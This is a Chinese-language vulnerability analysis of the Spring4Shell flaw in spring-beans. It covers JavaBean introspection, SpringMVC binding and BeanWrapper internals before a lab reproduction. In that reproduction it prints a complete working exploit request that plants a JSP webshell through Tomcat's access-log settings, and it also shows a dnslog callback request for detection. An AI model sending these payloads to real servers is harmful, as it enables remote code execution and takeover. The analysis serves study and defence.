文章首发于先知社区:https://xz.aliyun.com/t/11216
目录
-
漏洞概述
-
漏洞概述
-
影响范围
-
漏洞核心
-
内省机制
-
JavaBean
-
API
-
参数绑定
-
基本类型、包装类型
-
对象
-
数组
-
集合
-
属性注入
-
BeanWrapper
-
AbstractNestablePropertyAccessor
-
漏洞分析
-
漏洞复现
-
断点分析
-
绕过
-
Payload
-
参考文章
漏洞概述
漏洞概述
该漏洞的本质类似于变量覆盖漏洞,利用变量覆盖,修改tomcat
的配置,并修改tomcat
的日志位置到根目录,修改日志的后缀为jsp,达到木马文件写入的效果
值得一提的是该漏洞是CVE-2010-1622
的绕过,详情可以参考 http://rui0.cn/archives/1158
影响范围
-
spring-beans
版本5.3.0 ~ 5.3.17
、5.2.0 ~ 5.2.19
-
JDK 9+
-
Apache Tomcat
-
传参时使用 参数绑定
,且为非基础数据类型
漏洞核心
该漏洞的关键点,在于JDK内省机制
以及Spring属性注入
,在后文中都有详细的解析
内省机制
JavaBean
什么是JavaBean
-
JavaBean是一种特殊的类,其内部没有功能性方法,主要包含信息字段和存储方法,因此JavaBean通常用于传递数据信息 -
JavaBean类中的方法用于访问私有的字段,且方法名符合一定的命名规则
一般来说满足如下条件的,可以称为一个JavaBean
-
所有属性为 private
-
提供默认的无参构造方法 -
提供 setter&getter
方法,让外部可以设置&获取
JavaBean的属性
JavaBean的命名规则
-
JavaBean中的方法,去掉set/get前缀,剩下的就是属性名
method: getName()
--> property: name
-
去掉前缀,剩下的部分中第二个字母是大写/小写,则剩下的部分应全部大写/小写
getSEX()
JavaBean内省
一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,使用它的程序看不到JavaBean内部的成员变量
内省即:当一个类是满足JavaBean条件时,就可以使用特定的方式,来获取和设置JavaBean中的属性值
API
Java中提供了一套API来访问某个属性的setter/getter方法,一般的做法是通过Introspector.getBeanInfo()
方法来获取某个对象的BeanInfo
,然后通过 BeanInfo
来获取属性的描述器PropertyDescriptor
,通过PropertyDescriptor
就可以获取某个属性对应的getter/setter
方法,然后通过反射机制来调用这些方法。
Introspector
除了JDK的Introspector
,还有Apache BeanUtils
,这里仅介绍前者
Introspector
类位于java.beans
包下
Introspector api
该类中的主要方法getBeanInfo
都是静态方法
// 获取 beanClass 及其所有父类的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass)
// 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
beaninfo api
// bean 信息
BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
// 属性信息
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
// 方法信息
MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
demo
有这样一个JavaBean,尝试用Introspector来获取其属性
UserInfo
public class UserInfo {
private String id;
private String name;
public String getSex() { return null; }
public String getId() { return id; }
public void setId(String id) { this.id = id; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
IntrospectorTest
这里调用Introspector.getBeanInfo
,不使用带有stopClass
的重载方法,会让JDK连父类一并进行内省操作
public class IntrospectorTest {
public static void main(String[] args) throws IntrospectionException {
BeanInfo beanInfo = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println("Property: " + propertyDescriptor.getName());
}
}
}
output
Property:class Property:id Property:name Property:sex
预期内的结果
-
id (有getter方法) -
name (有getter方法) -
sex (虽然没有该属性,但是有getter方法,内省机制就会认为存在sex属性)
非预期内的结果
-
class
这里出现了一个非常有意思的点,也是导致整个漏洞的关键因素之一,为什么会出现class呢
因为在Java中,所有的类都会默认继承Object
类
而在Object
中,又存在一个getClass()
方法,内省机制就会认为存在一个class属性
尝试再获取class属性的beaninfo
Introspector.getBeanInfo(Class.class);
Property:annotatedInterfaces Property:annotatedSuperclass Property:annotation Property:annotations Property:anonymousClass Property:array Property:canonicalName Property:class Property:classLoader Property:classes Property:componentType Property:constructors Property:declaredAnnotations Property:declaredClasses ......
已经可以看到熟悉的classLoader
了
参数绑定
该漏洞的原理类似变量覆盖漏洞,通过传参修改tomcat日志的路径以及后缀等,本质其实是SpringMVC
的参数绑定
简单介绍一下SpringMVC
的参数绑定
基本类型、包装类型
基本类型int
@RequestMapping("/index")
@ResponseBody
public String baseType(int age) {
return "age: " + age;
}
http://localhost:8080/index?age=8
包装类型
@RequestMapping("/index")
@ResponseBody
public String packingType(Integer age) {
return "age: " + age;
}
包装类型主要是为了规避参数为空的问题,因为其不传值就赋null,但是int类型却不能为null
对象
多层级对象
public class UserInfo {
private Integer age;
private String address;
......补充其 get set toString 方法
}
在 User 类中引入这个类,这种情况该如何绑定参数呢
public class User {
private String id;
private String name;
private UserInfo userInfo;
}
http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing
同属性对象
如果我们想要直接接收两个对象,有时候免不了有相同的成员,例如我们的User
和Student
类中均含有
id
、name
两个成员,我们试着请求一下
@RequestMapping("/index")
@ResponseBody
public String objectType2(User user, Student student) {
return user.toString() + " " + student.toString();
}
http://localhost:8080/index?id=0&name=t4r
返回结果:User{id='0', name='t4r'} Student{id='0', name='t4r'}
可以看到,两个对象的值都被赋上了,但是,大部分情况下,不同的对象的值一般都是不同的,为此,我们还有解决办法
@InitBinder 注解可以帮助我们分开绑定,下面的代码也就是说分别给user
、student
指定一个前缀
@InitBinder("user")
public void initUser(WebDataBinder binder) {
binder.setFieldDefaultPrefix("user.");
}
@InitBinder("student")
public void initStudent(WebDataBinder binder) {
binder.setFieldDefaultPrefix("stu.");
}
http://localhost:8080/index?user.id=1&name=t4r&stu.id=002
数组
@RequestMapping("/index")
@ResponseBody
public String arrayType(String[] name) {
StringBuilder sb = new StringBuilder();
for (String s : nickname) {
sb.append(s).append(", ");
}
return sb.toString();
}
http://localhost:8080/index?name=Alice&name=Bob
返回结果:Alice, Bob
集合
List类型
集合是不能直接进行参数绑定的,所以我们需要创建出一个类,然后在类中进行对List
的参数绑定
控制层方法中,参数就是这个创建出来的类
@RequestMapping("/index")
@ResponseBody
public String listType(UserList userList) {
return userList.toString();
}
http://localhost:8080/index?users[0].id=1&users[0].name=Alice&users[1].id=2&users[1].name=Bob
如果Tomcat
版本是高于7的 ,执行上述请求就会报400
错误
这是因为Tomcat高的版本地址中不能使用[
和]
,我们可以将其换成对应的16进制,即 [
换成 %5B
,]
换成%5D
http://localhost:8080/index?users%5B0%5D.id=1&users%5B0%5D.name=Alice&users%5B1%5D.id=2&users%5B1%5D.name=Bob
或者直接用post
请求也可以
Map类型
map 类型是一样的套路,我们先创建一个 UserMap类,然后在其中声明 private Map<String,User> users
进而绑定参数
@RequestMapping("/index")
@ResponseBody
public String mapType(UserMap userMap) {
return userMap.toString();
}
http://localhost:8080/index?users['userA'].id=1&users['userA'].name=Alice&users['userB'].id=2&users['userB'].name=Bob
同样 []
会遇到上面的错误,所以如果想要在地址栏请求访问,就需要替换字符,或者发起一个post
请求
属性注入
BeanWrapper
-
PropertyEditorRegistry
PropertyEditor 注册、查找 -
TypeConverter
类型转换,其主要的工作由 TypeConverterDelegate 这个类完成的 -
PropertyAccessor
属性读写 -
ConfigurablePropertyAccessor
配置一些属性,如设置ConversionService
、是否暴露旧值、嵌套注入时属性为 null 是否自动创建 -
BeanWrapper
对 bean 进行封装 -
AbstractNestablePropertyAccessor
实现了对嵌套属性注入的处理
获取BeanWrapper实例
从上图可知,获取BeanWrapper实例可以通过其唯一实现类BeanWrapperImpl获取
BeanWrapper beanWrapper = new BeanWrapperImpl(对象);
属性注入
beanWrapper.setPropertyValue(属性名, 属性值);
beanWrapper.setPropertyValue("name", "t4r");
也可以通过PropertyValue
PropertyValue propertyValue = new PropertyValue("age", "80");
beanWrapper.setPropertyValue(propertyValue);
上述代码可以将属性值自动转换为适配的数据类型,过程如下
下图是跟踪BeanWrapperImpl#setPropertyValue(实际调用的就是父类AbstractNestablePropertyAccessor#setPropertyValue)
到AbstractNestablePropertyAccessor#processLocalProperty
的代码
可以总结一下processLocalProperty
函数主要做了两件事:
-
类型转换: convertForProperty
利用JDK
的PropertyEditorSupport
进行类型转换 -
属性设置: setValue
使用反射进行赋值,BeanWrapperImpl#BeanPropertyHandler#setValue
setValue
最终通过反射进行属性赋值,如下
嵌套属性注入
autoGrowNestedPaths=true 时 当属性为 null 时自动创建对象
beanWrapper.setAutoGrowNestedPaths(true);
beanWrapper.setPropertyValue("director.name", "director");
beanWrapper.setPropertyValue("employees[0].name", "t4r");
获取类实例
Person person = (Person) beanWrapper.getWrappedInstance();
获取对象属性
String name = (String) beanWrapper.getPropertyValue("name");
AbstractNestablePropertyAccessor
BeanWrapper 有两个核心的实现类
-
AbstractNestablePropertyAccessor
提供对嵌套属性的支持 -
BeanWrapperImpl
提供对 JavaBean 的内省功能,如PropertyDescriptor
上面已经简单介绍过了BeanWrapperImpl
而在Spring-framework 4.2
之后,AbstractNestablePropertyAccessor
将原BeanWrapperImpl
的功能抽出,BeanWrapperImpl
只提供对JavaBean
的内省功能,所以很多老哥看CVE-2010-1622
的分析时可能会比较疑惑
核心成员属性
-
Object wrappedObject
:被BeanWrapper
包装的对象 -
String nestedPath
:当前BeanWrapper
对象所属嵌套层次的属性名,最顶层的BeanWrapper
的nestedPath
的值为空 -
Object rootObject
:最顶层BeanWrapper
所包装的对象 -
Map<String, AbstractNestablePropertyAccessor> nestedPropertyAccessors
:缓存当前BeanWrapper
的嵌套属性的nestedPath
和对应的BeanWrapperImpl
对象
getPropertyAccessorForPropertyPath
getPropertyAccessorForPropertyPath
根据属性(propertyPath
)获取所在bean
的包装对象beanWrapper
,如果是类似class.module.classLoader
的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法getNestedPropertyAccessor
完成
该函数内的具体操作,以属性class.module.classLoader
为例
-
获取第一个 .
之前的属性部分 -
递归
处理嵌套属性 -
先获取 class
属性所在类的rootBeanWrapper
-
再获取 module
属性所在类的classBeanWrapper
-
以此类推,获取最后一个属性classLoader属性所在类的 moduleBeanWrapper
getPropertyAccessorForPropertyPath
处理属性有两种情况:
-
class(不包含 .
):直接范围当前bean的包装对象 -
class.module.classLoader(包含 .
):从当前对象开始递归查找,查找当前beanWrapper
指定属性的包装对象由getNestedPropertyAccessor()
完成
getNestedPropertyAccessor
函数中的主要工作如下:
-
nestedPropertyAccessors
用于缓存已经查找到过的属性 -
getPropertyNameTokens
获取属性对应的token
值,主要用于解循环嵌套属性 -
属性不存在则根据 autoGrowNestedPaths
决定是否自动创建 -
先从缓存中获取,没有就创建一个新的 AbstractNestablePropertyAccessor
对象
PropertyTokenHolder
-
用于解析嵌套属性名称
PropertyHandler
-
PropertyHandler
的默认实现是BeanPropertyHandler
,位于BeanWrapperImpl
内 -
BeanPropertyHandler
是对PropertyDescriptor
的封装,提供了对JavaBean
底层的操作,如属性的读写
setPropertyValue
该函数内的主要操作如下
-
调用 getPropertyAccessorForPropertyPath
递归获取propertyName
属性所在的beanWrapper
-
获取属性的 token
,token
用于标记该次属性注入是简单属性注入,还是Array、Map、List、Set
复杂类型的属性注入 -
设置属性值
getPropertyValue
-
顾名思义,根据属性名称获取对应的值 -
通过反射完成
setDefaultValue
-
autoGrowNestedPaths=true
时会创建默认的对象 -
创建对象的操作会由
setDefaultValue
调用其无参构造方法完成
漏洞分析
漏洞复现
IDEA创建一个SpringMVC项目,搭建过程不赘述
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/springMVC.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
springMVC.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">
<bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" />
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/>
<bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/>
<context:component-scan base-package="com.example.springshell.controller"/>
</beans>
maven
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.17</version>
</dependency>
Controller
package com.example.springshell.controller;
import com.example.springshell.bean.Person;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
@RequestMapping("/hello")
public String hello(Person person){
return person.getName();
}
}
JavaBean
package com.example.springshell.bean;
public class Person{
private String name;
private int age;
public int getAge(){
return age;
}
public String getName(){
return name;
}
public void setAge(int age){
this.age = age;
}
public void setName(String name){
this.name = name;
}
}
payload
POST /hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
suffix: %>
prefix: <%
Content-Length: 679
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
断点分析
在有了上文的属性注入基础后,再来分析漏洞过程,就显得格外清晰了
上文中提到Spring-framework 4.2
之后由AbstractNestablePropertyAccessor
来完成嵌套输入注入的支持
在AbstractNestablePropertyAccessor#setPropertyValue
处设置断点,根据设置的控制器路由,发送上述的http请求,触发断点(断点的位置已经是完成了参数绑定后的位置,参数绑定主要是通过DataBinder
完成,该操作不是漏洞的关键点,略过)
可以看到函数的入参是pv,我们追溯一下,可以发现AbstractPropertyAccessor#setPropertyValues
通过for循环,对请求中的每一个键值对,调用AbstractNestablePropertyAccessor#setPropertyValue
进行属性注入操作
回到AbstractNestablePropertyAccessor#setPropertyValue
,分析一下该函数做的事:
-
创建了一个 PropertyTokenHolder
对象,上文中也提到,用于解析嵌套属性名称 -
属性名存在则创建一个 AbstractNestablePropertyAccessor
对象,并调用getPropertyAccessorForPropertyPath
此时的propertyName
为class.module.classLoader.resources.context.parent.pipeline.first.directory
,跟入getPropertyAccessorForPropertyPath
在getPropertyAccessorForPropertyPath
中,正如前文所说,通过递归的方式,获取嵌套属性的包装对象beanWrapper
这里首先会通过getFirstNestedPropertySeparatorIndex
拿到.
前的一个属性,拿到class
属性后,调用getNestedPropertyAccessor
该函数中:
-
创建了一个缓存列表,在后续操作中,判断获取的属性是否已经在列表中,如在则直接获取,否则会新创建一个 AbstractNestablePropertyAccessor
-
创建了一个 PropertyTokenHolder
,之后调用getPropertyValue
处理它
简单提一下,这里的缓存列表结构如下,可以发现嵌套的属性
在AbstractNestablePropertyAccessor#getPropertyValue
中又调用getLocalPropertyHandler
处理传入的PropertyTokenHolder
中的actualName(即class)
AbstractNestablePropertyAccessor
中的getLocalPropertyHandler
是一个抽象方法,其唯一子类BeanWrapperImpl
重写了该方法,跟入该方法
调用了CachedIntrospectionResults#getPropertyDescriptor
而真正的逻辑在其构造方法中,看到了我们熟悉的getBeanInfo
这里也就解释了我们为什么能获取到class
这个属性值,因其没用调用另一个有stopclass
参数的重载方法
到此,算是完成了获取class这个参数的beanWrapper
回到AbstractNestablePropertyAccessor.setPropertyValue
接着会调用重载的方法,进行属性的注入
又调用了processLocalProperty
processLocalProperty
函数之前也提到过,完成了类型转换
以及调用BeanWrapperImpl#setValue
通过反射完成了最终的属性注入
绕过
在CachedIntrospectionResults
的构造方法中,可以看到对beanClass
以及属性名做了判断
-
beanClass
非class
-
属性名非 classLoader
或protectionDomain
显然Class.getClassLoader
被拦截了
但是Java9新增了module
,可以通过Class.getModule
方法调用getClassloader
的方式继续访问更多对象的属性
Payload
在调试过程中,发现了payload中的
class.module.classLoader.resources.context.parent.pipeline.first
-
context
对应StandardContext
-
parent
对应StandardHost
-
pipeline
对应StandardPipeline
-
first
对应AccessLogValve
因此,公开的利用链也就是利用AccessLogValve
,这个类用来设置tomcat
得日志存储参数,修改参数可以达到文件写入的效果
payload中
suffix: %>
prefix: <%
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
由于%
会被过滤,pattern
里通过引用头部来实现构造
至于poc为什么会有%{xxx}的奇怪字符,是因为%是tomcat变量替换的标识符,具体可见官方文档:https://tomcat.apache.org/tomcat-8.5-doc/config/valve.html
还有只能发送一次poc的问题,只需修改class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=任意数字
即可,路径问题默认写道tomcat目录,相对路径就行,webapps/ROOT/
即可
%{x}i可引用请求头字段
%{x}i 请求headers的信息
%{x}o 响应headers的信息
%{x}c 请求cookie的信息
%{x}r xxx是ServletRequest的一个属性
%{x}s xxx是HttpSession的一个属性
此外StandardContext
中的configFile可发送http请求,可以用于漏洞的检测
发送如下请求
POST /springshell_war_exploded/hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
Content-Length: 163
class.module.classLoader.resources.context.configFile=http://test.9vvyp3.dnslog.cn&class.module.classLoader.resources.context.configFile.content.config=config.conf
DNS记录
参考文章
http://rui0.cn/archives/1158
https://xz.aliyun.com/t/11136
https://www.cnblogs.com/binarylei/p/12290153.html
原文始发于微信公众号(流沙安全):spring-beans 变量覆盖 RCE 剖析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论